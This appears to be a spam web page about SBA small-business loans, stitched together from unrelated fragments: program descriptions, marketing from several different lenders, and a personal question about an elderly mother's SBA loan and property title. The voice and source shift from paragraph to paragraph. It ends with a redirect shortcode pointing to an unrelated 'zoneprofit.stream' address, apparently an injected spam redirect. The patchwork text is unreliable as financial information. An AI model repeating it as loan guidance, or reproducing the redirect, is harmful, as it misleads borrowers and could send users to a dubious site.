The SBA’s Community Advantage Loans are designed to help businesses in underserved markets get access to financing. These programs are available to borrowers who meet the SBA eligibility criteria but are not able to qualify for a standard SBA 7(a) loan because of low revenues, low collateral, or other reasons.
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Alternatively, you can also apply for your small business loans online when using lenders like BFS. This can make obtaining the capital you need even more convenient, no matter when you have time in your day or week to apply.
Prior to submitting your application, you should have a plan for how you will utilize the business financing. Do you have broken equipment that must be fixed, a need to meet payroll, or do you want expand your business? Knowing how you want to use your working capital will help you determine how quickly you need it, how much your business requires, and the cost you’re comfortable paying. Luckily, we don’t restrict how to use your working capital – check out the section below to learn about the top uses of funds!
Whether you want to be rewarded for purchases or are looking for a low rate card, Citizens Bank’s Business Credit Cards offer a convenient way to make everyday purchases while improving your cash flow by extending the time between making purchases and paying for them.
Whether you end up applying for an SBA loan through a bank or opt for an online small-business loan, you should be familiar with each lender’s requirements. Knowing whether you meet its criteria before you apply will save you time and frustration.
• Rural Lender Advantage Program These loans are designed to promote the economic development in rural communities, in particular communities that are losing population, have high unemployment, or are losing industries.
Even though these particular loans are being taken out at amazing rates, a lot of small business owners still have a number of questions when it comes to borrowing money to cover their small business needs.
My mother is 81 years old, widow and living from her social security $700 a month. In 2010, I did a quick claim deed to have the property only on my name, but the SBA loan was originated in 2005. Actually I am working a modification with my bank and they told me there are some issues with the property title and the SBA loan with her name. I am waiting for the bank response, but I would like to know if the settlement could be an option for her.
Borrowers pay a one-time up-front fee, depending on the size of the loan and guarantee. Smaller loans (under $750,000) have lower fees. The SBA does not allow other fees to be assessed by the lender unless there are extreme circumstances, such as higher-than-normal servicing required by your loan.
Your business likely requires steady cash flow in order to run smoothly. Many of the business owners we work with pursue a loan in order to have cash flow stability. With added cash flow, you’ll be able to afford ongoing business expenses, while having additional cash to use for other needs.
One drawback of the standard SBA 7(a) loan is that the application process can take months. In order to address this problem, the SBA offers an expedited processing service called the SBA Express Loan, which guarantees a response to an application within 36 hours (note: this means the SBA will notify your lender within 36 hours if your application has been approved, but it may take significantly longer for your lender to process and fund your loan).
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Here at Bridge Management we are experts in SBA Default situations, personal guarantees, Offer in Compromises, debt workouts, etc. I am always available to answer questions or concerns. [email protected] 401-390-3800 Direct Number [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]